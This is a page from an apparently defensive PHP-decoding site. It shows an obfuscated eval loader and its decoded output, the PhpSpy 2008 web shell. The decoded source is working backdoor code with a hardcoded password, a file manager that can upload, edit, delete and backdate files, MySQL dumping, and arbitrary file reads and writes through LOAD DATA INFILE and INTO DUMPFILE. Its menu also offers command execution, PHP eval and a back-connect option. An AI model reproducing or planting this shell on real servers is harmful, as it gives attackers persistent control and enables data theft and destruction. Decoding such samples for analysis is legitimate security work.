Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\..
Decoded Output download
?><?php
error_reporting( 7 );
@set_magic_quotes_runtime( 0 );
ob_start();
$mtime = explode( ' ', microtime() );
$starttime = $mtime[ 1 ] + $mtime[ 0 ];
define( 'SA_ROOT', str_replace( '\\', '/', dirname( __FILE__ ) ) . '/' );
define( 'IS_WIN', DIRECTORY_SEPARATOR == '\\' );
define( 'IS_COM', class_exists( 'COM' ) ? 1 : 0 );
define( 'IS_GPC', get_magic_quotes_gpc() );
$dis_func = get_cfg_var( 'disable_functions' );
define( 'IS_PHPINFO', ( !eregi( "phpinfo", $dis_func ) ) ? 1 : 0 );
@set_time_limit( 0 );
foreach ( array(
'_GET',
'_POST'
) as $_request ) {
foreach ( $$_request as $_key => $_value ) {
if ( $_key{0} != '_' ) {
if ( IS_GPC ) {
$_value = s_array( $_value );
}
$$_key = $_value;
}
}
}
$admin = array( );
$admin[ 'check' ] = true;
$admin[ 'pass' ] = 'dedamraz';
$admin[ 'cookiepre' ] = '';
$admin[ 'cookiedomain' ] = '';
$admin[ 'cookiepath' ] = '/';
$admin[ 'cookielife' ] = 86400;
if ( $charset == 'utf8' ) {
header( "content-Type: text/html; charset=utf-8" );
} elseif ( $charset == 'big5' ) {
header( "content-Type: text/html; charset=big5" );
} elseif ( $charset == 'gbk' ) {
header( "content-Type: text/html; charset=gbk" );
} elseif ( $charset == 'latin1' ) {
header( "content-Type: text/html; charset=iso-8859-2" );
}
$self = $_SERVER[ 'PHP_SELF' ] ? $_SERVER[ 'PHP_SELF' ] : $_SERVER[ 'SCRIPT_NAME' ];
$timestamp = time();
if ( $action == "logout" ) {
scookie( 'sessionidset', '', -86400 * 365 );
p( '<meta http-equiv="refresh" content="1;URL=' . $self . '">' );
p( '<a style="font:12px Verdana" href="' . $self . '">Success</a>' );
exit;
}
if ( $admin[ 'check' ] ) {
if ( $admin[ 'pass' ] == $password ) {
scookie( 'sessionidset', $password );
p( '<meta http-equiv="refresh" content="1;URL=' . $self . '">' );
p( '<a style="font:12px Verdana" href="' . $self . '">Success</a>' );
exit;
}
if ( $_COOKIE[ 'sessionidset' ] ) {
if ( $_COOKIE[ 'sessionidset' ] != $admin[ 'pass' ] ) {
loginpage();
}
} else {
loginpage();
}
}
$errmsg = '';
if ( $action == 'phpinfo' ) {
if ( IS_PHPINFO ) {
phpinfo();
} else {
$errmsg = 'phpinfo() function has non-permissible';
}
}
if ( $doing == 'downfile' && $thefile ) {
if ( !@file_exists( $thefile ) ) {
$errmsg = 'The file you want Downloadable was nonexistent';
} else {
$fileinfo = pathinfo( $thefile );
header( 'Content-type: application/x-' . $fileinfo[ 'extension' ] );
header( 'Content-Disposition: attachment; filename=' . $fileinfo[ 'basename' ] );
header( 'Content-Length: ' . filesize( $thefile ) );
@readfile( $thefile );
exit;
}
}
if ( $doing == 'backupmysql' && !$saveasfile ) {
dbconn( $dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport );
$table = array_flip( $table );
$result = q( "SHOW tables" );
if ( !$result )
p( '<h2>' . mysql_error() . '</h2>' );
$filename = basename( $_SERVER[ 'HTTP_HOST' ] . '_MySQL.sql' );
header( 'Content-type: application/unknown' );
header( 'Content-Disposition: attachment; filename=' . $filename );
$mysqldata = '';
while ( $currow = mysql_fetch_array( $result ) ) {
if ( isset( $table[ $currow[ 0 ] ] ) ) {
$mysqldata .= sqldumptable( $currow[ 0 ] );
}
}
mysql_close();
exit;
}
if ( $doing == 'mysqldown' ) {
if ( !$dbname ) {
$errmsg = 'Please input dbname';
} else {
dbconn( $dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport );
if ( !file_exists( $mysqldlfile ) ) {
$errmsg = 'The file you want Downloadable was nonexistent';
} else {
$result = q( "select load_file('$mysqldlfile');" );
if ( !$result ) {
q( "DROP TABLE IF EXISTS tmp_angel;" );
q( "CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);" );
q( "LOAD DATA LOCAL INFILE '" . addslashes( $mysqldlfile ) . "' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';" );
$result = q( "select content from tmp_angel" );
q( "DROP TABLE tmp_angel" );
}
$row = @mysql_fetch_array( $result );
if ( !$row ) {
$errmsg = 'Load file failed ' . mysql_error();
} else {
$fileinfo = pathinfo( $mysqldlfile );
header( 'Content-type: application/x-' . $fileinfo[ 'extension' ] );
header( 'Content-Disposition: attachment; filename=' . $fileinfo[ 'basename' ] );
header( "Accept-Length: " . strlen( $row[ 0 ] ) );
echo $row[ 0 ];
exit;
}
}
}
}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk">
<title><?php
echo str_replace( '.', '', 'P.h.p.S.p.y' );
?></title>
<style type="text/css">
body,td{font: 12px Arial,Tahoma;line-height: 16px;}
.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
a {color: #00f;text-decoration:underline;}
a:hover{color: #f00;text-decoration:none;}
.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
</style>
<script type="text/javascript">
function CheckAll(form) {
for(var i=0;i<form.elements.length;i++) {
var e = form.elements[i];
if (e.name != 'chkall')
e.checked = form.chkall.checked;
}
}
function $(id) {
return document.getElementById(id);
}
function goaction(act){
$('goaction').action.value=act;
$('goaction').submit();
}
</script>
</head>
<body style="margin:0;table-layout:fixed; word-break:break-all">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr class="head">
<td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php
echo str_replace( '.', '', 'P.h.p.S.p.y' );
?> Ver: 2008</a></span><?php
echo $_SERVER[ 'HTTP_HOST' ];
?> (<?php
echo gethostbyname( $_SERVER[ 'SERVER_NAME' ] );
?>)</td>
</tr>
<tr class="alt1">
<td><span style="float:right;">Safe Mode:<?php
echo getcfg( 'safe_mode' );
?></span>
<a href="javascript:goaction('logout');">Logout</a> |
<a href="javascript:goaction('file');">File Manager</a> |
<a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
<a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
<a href="javascript:goaction('shell');">Execute Command</a> |
<a href="javascript:goaction('phpenv');">PHP Variable</a> |
<a href="javascript:goaction('eval');">Eval PHP Code</a>
<?php
if ( !IS_WIN ) {
?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php
}
?>
</td>
</tr>
</table>
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<?php
formhead( array(
'name' => 'goaction'
) );
makehide( 'action' );
formfoot();
$errmsg && m( $errmsg );
!$dir && $dir = '.';
$nowpath = getPath( SA_ROOT, $dir );
if ( substr( $dir, -1 ) != '/' ) {
$dir = $dir . '/';
}
$uedir = ue( $dir );
if ( !$action || $action == 'file' ) {
$dir_writeable = @is_writable( $nowpath ) ? 'Writable' : 'Non-writable';
if ( $doing == 'deldir' && $thefile ) {
if ( !file_exists( $thefile ) ) {
m( $thefile . ' directory does not exist' );
} else {
m( 'Directory delete ' . ( deltree( $thefile ) ? basename( $thefile ) . ' success' : 'failed' ) );
}
} elseif ( $newdirname ) {
$mkdirs = $nowpath . $newdirname;
if ( file_exists( $mkdirs ) ) {
m( 'Directory has already existed' );
} else {
m( 'Directory created ' . ( @mkdir( $mkdirs, 0777 ) ? 'success' : 'failed' ) );
@chmod( $mkdirs, 0777 );
}
} elseif ( $doupfile ) {
m( 'File upload ' . ( @copy( $_FILES[ 'uploadfile' ][ 'tmp_name' ], $uploaddir . '/' . $_FILES[ 'uploadfile' ][ 'name' ] ) ? 'success' : 'failed' ) );
} elseif ( $editfilename && $filecontent ) {
$fp = @fopen( $editfilename, 'w' );
m( 'Save file ' . ( @fwrite( $fp, $filecontent ) ? 'success' : 'failed' ) );
@fclose( $fp );
} elseif ( $pfile && $newperm ) {
if ( !file_exists( $pfile ) ) {
m( 'The original file does not exist' );
} else {
$newperm = base_convert( $newperm, 8, 10 );
m( 'Modify file attributes ' . ( @chmod( $pfile, $newperm ) ? 'success' : 'failed' ) );
}
} elseif ( $oldname && $newfilename ) {
$nname = $nowpath . $newfilename;
if ( file_exists( $nname ) || !file_exists( $oldname ) ) {
m( $nname . ' has already existed or original file does not exist' );
} else {
m( basename( $oldname ) . ' renamed ' . basename( $nname ) . ( @rename( $oldname, $nname ) ? ' success' : 'failed' ) );
}
} elseif ( $sname && $tofile ) {
if ( file_exists( $tofile ) || !file_exists( $sname ) ) {
m( 'The goal file has already existed or original file does not exist' );
} else {
m( basename( $tofile ) . ' copied ' . ( @copy( $sname, $tofile ) ? basename( $tofile ) . ' success' : 'failed' ) );
}
} elseif ( $curfile && $tarfile ) {
if ( !@file_exists( $curfile ) || !@file_exists( $tarfile ) ) {
m( 'The goal file has already existed or original file does not exist' );
} else {
$time = @filemtime( $tarfile );
m( 'Modify file the last modified ' . ( @touch( $curfile, $time, $time ) ? 'success' : 'failed' ) );
}
} elseif ( $curfile && $year && $month && $day && $hour && $minute && $second ) {
if ( !@file_exists( $curfile ) ) {
m( basename( $curfile ) . ' does not exist' );
} else {
$time = strtotime( "$year-$month-$day $hour:$minute:$second" );
m( 'Modify file the last modified ' . ( @touch( $curfile, $time, $time ) ? 'success' : 'failed' ) );
}
} elseif ( $doing == 'downrar' ) {
if ( $dl ) {
$dfiles = '';
foreach ( $dl as $filepath => $value ) {
$dfiles .= $filepath . ',';
}
$dfiles = substr( $dfiles, 0, strlen( $dfiles ) - 1 );
$dl = explode( ',', $dfiles );
$zip = new PHPZip( $dl );
$code = $zip->out;
header( 'Content-type: application/octet-stream' );
header( 'Accept-Ranges: bytes' );
header( 'Accept-Length: ' . strlen( $code ) );
header( 'Content-Disposition: attachment;filename=' . $_SERVER[ 'HTTP_HOST' ] . '_Files.tar.gz' );
echo $code;
exit;
} else {
m( 'Please select file(s)' );
}
} elseif ( $doing == 'delfiles' ) {
if ( $dl ) {
$dfiles = '';
$succ = $fail = 0;
foreach ( $dl as $filepath => $value ) {
if ( @unlink( $filepath ) ) {
$succ++;
} else {
$fail++;
}
}
m( 'Deleted file have finished£¬choose ' . count( $dl ) . ' success ' . $succ . ' fail ' . $fail );
} else {
m( 'Please select file(s)' );
}
}
formhead( array(
'name' => 'createdir'
) );
makehide( 'newdirname' );
makehide( 'dir', $nowpath );
formfoot();
formhead( array(
'name' => 'fileperm'
) );
makehide( 'newperm' );
makehide( 'pfile' );
makehide( 'dir', $nowpath );
formfoot();
formhead( array(
'name' => 'copyfile'
) );
makehide( 'sname' );
makehide( 'tofile' );
makehide( 'dir', $nowpath );
formfoot();
formhead( array(
'name' => 'rename'
) );
makehide( 'oldname' );
makehide( 'newfilename' );
makehide( 'dir', $nowpath );
formfoot();
formhead( array(
'name' => 'fileopform'
) );
makehide( 'action' );
makehide( 'opfile' );
makehide( 'dir' );
formfoot();
$free = @disk_free_space( $nowpath );
!$free && $free = 0;
$all = @disk_total_space( $nowpath );
!$all && $all = 0;
$used = $all - $free;
$used_percent = @round( 100 / ( $all / $free ), 2 );
p( '<h2>File Manager - Current disk free ' . sizecount( $free ) . ' of ' . sizecount( $all ) . ' (' . $used_percent . '%)</h2>' );
?>
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
<form action="" method="post" id="godir" name="godir">
<tr>
<td nowrap>Current Directory (<?php
echo $dir_writeable;
?>, <?php
echo getChmod( $nowpath );
?>)</td>
<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php
echo $nowpath;
?>" type="text" style="width:100%;margin:0 8px;"></td>
<td nowrap><input class="bt" value="GO" type="submit"></td>
</tr>
</form>
</table>
<script type="text/javascript">
function createdir(){
var newdirname;
newdirname = prompt('Please input the directory name:', '');
if (!newdirname) return;
$('createdir').newdirname.value=newdirname;
$('createdir').submit();
}
function fileperm(pfile){
var newperm;
newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
if (!newperm) return;
$('fileperm').newperm.value=newperm;
$('fileperm').pfile.value=pfile;
$('fileperm').submit();
}
function copyfile(sname){
var tofile;
tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
if (!tofile) return;
$('copyfile').tofile.value=tofile;
$('copyfile').sname.value=sname;
$('copyfile').submit();
}
function rename(oldname){
var newfilename;
newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
if (!newfilename) return;
$('rename').newfilename.value=newfilename;
$('rename').oldname.value=oldname;
$('rename').submit();
}
function dofile(doing,thefile,m){
if (m && !confirm(m)) {
return;
}
$('filelist').doing.value=doing;
if (thefile){
$('filelist').thefile.value=thefile;
}
$('filelist').submit();
}
function createfile(nowpath){
var filename;
filename = prompt('Please input the file name:', '');
if (!filename) return;
opfile('editfile',nowpath + filename,nowpath);
}
function opfile(action,opfile,dir){
$('fileopform').action.value=action;
$('fileopform').opfile.value=opfile;
$('fileopform').dir.value=dir;
$('fileopform').submit();
}
function godir(dir,view_writable){
if (view_writable) {
$('godir').view_writable.value=1;
}
$('godir').dir.value=dir;
$('godir').submit();
}
</script>
<?php
tbhead();
p( '<form action="' . $self . '" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">' );
p( '<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="' . $dir . '" type="hidden" /><input name="dir" value="' . $dir . '" type="hidden" /></div>' );
p( '<a href="javascript:godir(\'' . $_SERVER[ "DOCUMENT_ROOT" ] . '\');">WebRoot</a>' );
if ( $view_writable ) {
p( ' | <a href="javascript:godir(\'' . $nowpath . '\');">View All</a>' );
} else {
p( ' | <a href="javascript:godir(\'' . $nowpath . '\',\'1\');">View Writable</a>' );
}
p( ' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\'' . $nowpath . '\');">Create File</a>' );
if ( IS_WIN && IS_COM ) {
$obj = new COM( 'scripting.filesystemobject' );
if ( $obj && is_object( $obj ) ) {
$DriveTypeDB = array(
0 => 'Unknow',
1 => 'Removable',
2 => 'Fixed',
3 => 'Network',
4 => 'CDRom',
5 => 'RAM Disk'
);
foreach ( $obj->Drives as $drive ) {
if ( $drive->DriveType == 2 ) {
p( ' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Size:' . sizecount( $drive->TotalSize ) . ' Free:' . sizecount( $drive->FreeSpace ) . ' Type:' . $DriveTypeDB[ $drive->DriveType ] . '">' . $DriveTypeDB[ $drive->DriveType ] . '(' . $drive->Path . ')</a>' );
} else {
p( ' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Type:' . $DriveTypeDB[ $drive->DriveType ] . '">' . $DriveTypeDB[ $drive->DriveType ] . '(' . $drive->Path . ')</a>' );
}
}
}
}
p( '</td></tr></form>' );
p( '<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>' );
$dirdata = array( );
$filedata = array( );
if ( $view_writable ) {
$dirdata = GetList( $nowpath );
} else {
$dirs = @opendir( $dir );
while ( $file = @readdir( $dirs ) ) {
$filepath = $nowpath . $file;
if ( @is_dir( $filepath ) ) {
$dirdb[ 'filename' ] = $file;
$dirdb[ 'mtime' ] = @date( 'Y-m-d H:i:s', filemtime( $filepath ) );
$dirdb[ 'dirchmod' ] = getChmod( $filepath );
$dirdb[ 'dirperm' ] = getPerms( $filepath );
$dirdb[ 'fileowner' ] = getUser( $filepath );
$dirdb[ 'dirlink' ] = $nowpath;
$dirdb[ 'server_link' ] = $filepath;
$dirdb[ 'client_link' ] = ue( $filepath );
$dirdata[ ] = $dirdb;
} else {
$filedb[ 'filename' ] = $file;
$filedb[ 'size' ] = sizecount( @filesize( $filepath ) );
$filedb[ 'mtime' ] = @date( 'Y-m-d H:i:s', filemtime( $filepath ) );
$filedb[ 'filechmod' ] = getChmod( $filepath );
$filedb[ 'fileperm' ] = getPerms( $filepath );
$filedb[ 'fileowner' ] = getUser( $filepath );
$filedb[ 'dirlink' ] = $nowpath;
$filedb[ 'server_link' ] = $filepath;
$filedb[ 'client_link' ] = ue( $filepath );
$filedata[ ] = $filedb;
}
}
unset( $dirdb );
unset( $filedb );
@closedir( $dirs );
}
@sort( $dirdata );
@sort( $filedata );
$dir_i = '0';
foreach ( $dirdata as $key => $dirdb ) {
if ( $dirdb[ 'filename' ] != '..' && $dirdb[ 'filename' ] != '.' ) {
$thisbg = bg();
p( '<tr class="' . $thisbg . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $thisbg . '\';">' );
p( '<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>' );
p( '<td><a href="javascript:godir(\'' . $dirdb[ 'server_link' ] . '\');">' . $dirdb[ 'filename' ] . '</a></td>' );
p( '<td nowrap>' . $dirdb[ 'mtime' ] . '</td>' );
p( '<td nowrap>--</td>' );
p( '<td nowrap>' );
p( '<a href="javascript:fileperm(\'' . $dirdb[ 'server_link' ] . '\');">' . $dirdb[ 'dirchmod' ] . '</a> / ' );
p( '<a href="javascript:fileperm(\'' . $dirdb[ 'server_link' ] . '\');">' . $dirdb[ 'dirperm' ] . '</a>' . $dirdb[ 'fileowner' ] . '</td>' );
p( '<td nowrap><a href="javascript:dofile(\'deldir\',\'' . $dirdb[ 'server_link' ] . '\',\'Are you sure will delete ' . $dirdb[ 'filename' ] . '? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\'' . $dirdb[ 'server_link' ] . '\');">Rename</a></td>' );
p( '</tr>' );
$dir_i++;
} else {
if ( $dirdb[ 'filename' ] == '..' ) {
p( '<tr class=' . bg() . '>' );
p( '<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\'' . getUpPath( $nowpath ) . '\');">Parent Directory</a></td>' );
p( '</tr>' );
}
}
}
p( '<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>' );
p( '<form id="filelist" name="filelist" action="' . $self . '" method="post">' );
makehide( 'action', 'file' );
makehide( 'thefile' );
makehide( 'doing' );
makehide( 'dir', $nowpath );
$file_i = '0';
foreach ( $filedata as $key => $filedb ) {
if ( $filedb[ 'filename' ] != '..' && $filedb[ 'filename' ] != '.' ) {
$fileurl = str_replace( SA_ROOT, '', $filedb[ 'server_link' ] );
$thisbg = bg();
p( '<tr class="' . $thisbg . '" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'' . $thisbg . '\';">' );
p( '<td width="2%" nowrap><input type="checkbox" value="1" name="dl[' . $filedb[ 'server_link' ] . ']"></td>' );
p( '<td><a href="' . $fileurl . '" target="_blank">' . $filedb[ 'filename' ] . '</a></td>' );
p( '<td nowrap>' . $filedb[ 'mtime' ] . '</td>' );
p( '<td nowrap>' . $filedb[ 'size' ] . '</td>' );
p( '<td nowrap>' );
p( '<a href="javascript:fileperm(\'' . $filedb[ 'server_link' ] . '\');">' . $filedb[ 'filechmod' ] . '</a> / ' );
p( '<a href="javascript:fileperm(\'' . $filedb[ 'server_link' ] . '\');">' . $filedb[ 'fileperm' ] . '</a>' . $filedb[ 'fileowner' ] . '</td>' );
p( '<td nowrap>' );
p( '<a href="javascript:dofile(\'downfile\',\'' . $filedb[ 'server_link' ] . '\');">Down</a> | ' );
p( '<a href="javascript:copyfile(\'' . $filedb[ 'server_link' ] . '\');">Copy</a> | ' );
p( '<a href="javascript:opfile(\'editfile\',\'' . $filedb[ 'server_link' ] . '\',\'' . $filedb[ 'dirlink' ] . '\');">Edit</a> | ' );
p( '<a href="javascript:rename(\'' . $filedb[ 'server_link' ] . '\');">Rename</a> | ' );
p( '<a href="javascript:opfile(\'newtime\',\'' . $filedb[ 'server_link' ] . '\',\'' . $filedb[ 'dirlink' ] . '\');">Time</a>' );
p( '</td></tr>' );
$file_i++;
}
}
p( '<tr class="' . bg() . '"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">' . $dir_i . ' directories / ' . $file_i . ' files</td></tr>' );
p( '</form></table>' );
} elseif ( $action == 'sqlfile' ) {
if ( $doing == "mysqlupload" ) {
$file = $_FILES[ 'uploadfile' ];
$filename = $file[ 'tmp_name' ];
if ( file_exists( $savepath ) ) {
m( 'The goal file has already existed' );
} else {
if ( !$filename ) {
m( 'Please choose a file' );
} else {
$fp = @fopen( $filename, 'r' );
$contents = @fread( $fp, filesize( $filename ) );
@fclose( $fp );
$contents = bin2hex( $contents );
if ( !$upname )
$upname = $file[ 'name' ];
dbconn( $dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport );
$result = q( "SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';" );
m( $result ? 'Upload success' : 'Upload has failed: ' . mysql_error() );
}
}
}
?>
<script type="text/javascript">
function mysqlfile(doing){
if(!doing) return;
$('doing').value=doing;
$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
$('mysqlfile').dbport.value=$('dbinfo').dbport.value;
$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
$('mysqlfile').dbname.value=$('dbinfo').dbname.value;
$('mysqlfile').charset.value=$('dbinfo').charset.value;
$('mysqlfile').submit();
}
</script>
<?php
!$dbhost && $dbhost = 'localhost';
!$dbuser && $dbuser = 'root';
!$dbport && $dbport = '3306';
$charsets = array(
'' => 'Default',
'gbk' => 'GBK',
'big5' => 'Big5',
'utf8' => 'UTF-8',
'latin1' => 'Latin1'
);
formhead( array(
'title' => 'MYSQL Information',
'name' => 'dbinfo'
) );
makehide( 'action', 'sqlfile' );
p( '<p>' );
p( 'DBHost:' );
makeinput( array(
'name' => 'dbhost',
'size' => 20,
'value' => $dbhost
) );
p( ':' );
makeinput( array(
'name' => 'dbport',
'size' => 4,
'value' => $dbport
) );
p( 'DBUser:' );
makeinput( array(
'name' => 'dbuser',
'size' => 15,
'value' => $dbuser
) );
p( 'DBPass:' );
makeinput( array(
'name' => 'dbpass',
'size' => 15,
'value' => $dbpass
) );
p( 'DBName:' );
makeinput( array(
'name' => 'dbname',
'size' => 15,
'value' => $dbname
) );
p( 'DBCharset:' );
makeselect( array(
'name' => 'charset',
'option' => $charsets,
'selected' => $charset
) );
p( '</p>' );
formfoot();
p( '<form action="' . $self . '" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">' );
p( '<h2>Upload file</h2>' );
p( '<p><b>This operation the DB user must has FILE privilege</b></p>' );
p( '<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>' );
p( '<h2>Download file</h2>' );
p( '<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>' );
makehide( 'dbhost' );
makehide( 'dbport' );
makehide( 'dbuser' );
makehide( 'dbpass' );
makehide( 'dbname' );
makehide( 'charset' );
makehide( 'doing' );
makehide( 'action', 'sqlfile' );
p( '</form>' );
} elseif ( $action == 'sqladmin' ) {
!$dbhost && $dbhost = 'localhost';
!$dbuser && $dbuser = 'root';
!$dbport && $dbport = '3306';
$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
if ( isset( $dbhost ) ) {
$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
}
if ( isset( $dbuser ) ) {
$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
}
if ( isset( $dbpass ) ) {
$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
}
if ( isset( $dbport ) ) {
$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
}
if ( isset( $dbname ) ) {
$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
}
if ( isset( $charset ) ) {
$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
}
if ( $doing == 'backupmysql' && $saveasfile ) {
if ( !$table ) {
m( 'Please choose the table' );
} else {
dbconn( $dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport );
$table = array_flip( $table );
$fp = @fopen( $path, 'w' );
if ( $fp ) {
$result = q( 'SHOW tables' );
if ( !$result )
p( '<h2>' . mysql_error() . '</h2>' );
$mysqldata = '';
while ( $currow = mysql_fetch_array( $result ) ) {
if ( isset( $table[ $currow[ 0 ] ] ) ) {
sqldumptable( $currow[ 0 ], $fp );
}
}
fclose( $fp );
$fileurl = str_replace( SA_ROOT, '', $path );
m( 'Database has success backup to <a href="' . $fileurl . '" target="_blank">' . $path . '</a>' );
mysql_close();
} else {
m( 'Backup failed' );
}
}
}
if ( $insert && $insertsql ) {
$keystr = $valstr = $tmp = '';
foreach ( $insertsql as $key => $val ) {
if ( $val ) {
$keystr .= $tmp . $key;
$valstr .= $tmp . "'" . addslashes( $val ) . "'";
$tmp = ',';
}
}
if ( $keystr && $valstr ) {
dbconn( $dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport );
m( q( "INSERT INTO $tablename ($keystr) VALUES ($valstr)" ) ? 'Insert new record of success' : mysql_error() );
}
}
if ( $update && $insertsql && $base64 ) {
$valstr = $tmp = '';
foreach ( $insertsql as $key => $val ) {
$valstr .= $tmp . $key . "='" . addslashes( $val ) . "'";
$tmp = ',';
}
if ( $valstr ) {
$where = base64_decode( $base64 );
dbconn( $dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport );
m( q( "UPDATE $tablename SET $valstr WHERE $where LIMIT 1" ) ? 'Record updating' : mysql_error() );
}
}
if ( $doing == 'del' && $base64 ) {
$where = base64_decode( $base64 );
$delete_sql = "DELETE FROM $tablename WHERE $where";
dbconn( $dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport );
m( q( "DELETE FROM $tablename WHERE $where" ) ? 'Deletion record of success' : mysql_error() );
}
if ( $tablename && $doing == 'drop' ) {
dbconn( $dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport );
if ( q( "DROP TABLE $tablename" ) ) {
m( 'Drop table of success' );
$tablename = '';
} else {
m( mysql_error() );
}
}
$charsets = array(
'' => 'Default',
'gbk' => 'GBK',
'big5' => 'Big5',
'utf8' => 'UTF-8',
'latin1' => 'Latin1'
);
formhead( array(
'title' => 'MYSQL Manager'
) );
makehide( 'action', 'sqladmin' );
p( '<p>' );
p( 'DBHost:' );
makeinput( array(
'name' => 'dbhost',
'size' => 20,
'value' => $dbhost
) );
p( ':' );
makeinput( array(
'name' => 'dbport',
'size' => 4,
'value' => $dbport
) );
p( 'DBUser:' );
makeinput( array(
'name' => 'dbuser',
'size' => 15,
'value' => $dbuser
) );
p( 'DBPass:' );
makeinput( array(
'name' => 'dbpass',
'size' => 15,
'value' => $dbpass
) );
p( 'DBCharset:' );
makeselect( array(
'name' => 'charset',
'option' => $charsets,
'selected' => $charset
) );
makeinput( array(
'name' => 'connect',
'value' => 'Connect',
'type' => 'submit',
'class' => 'bt'
) );
p( '</p>' );
formfoot();
?>
<script type="text/javascript">
function editrecord(action, base64, tablename){
if (action == 'del') {
if (!confirm('Is or isn\'t deletion record?')) return;
}
$('recordlist').doing.value=action;
$('recordlist').base64.value=base64;
$('recordlist').tablename.value=tablename;
$('recordlist').submit();
}
function moddbname(dbname) {
if(!dbname) return;
$('setdbname').dbname.value=dbname;
$('setdbname').submit();
}
function settable(tablename,doing,page) {
if(!tablename) return;
if (doing) {
$('settable').doing.value=doing;
}
if (page) {
$('settable').page.value=page;
}
$('settable').tablename.value=tablename;
$('settable').submit();
}
</script>
<?php
formhead( array(
'name' => 'recordlist'
) );
makehide( 'doing' );
makehide( 'action', 'sqladmin' );
makehide( 'base64' );
makehide( 'tablename' );
p( $dbform );
formfoot();
formhead( array(
'name' => 'setdbname'
) );
makehide( 'action', 'sqladmin' );
p( $dbform );
if ( !$dbname ) {
makehide( 'dbname' );
}
formfoot();
formhead( array(
'name' => 'settable'
) );
makehide( 'action', 'sqladmin' );
p( $dbform );
makehide( 'tablename' );
makehide( 'page', $page );
makehide( 'doing' );
formfoot();
$cachetables = array( );
$pagenum = 30;
$page = intval( $page );
if ( $page ) {
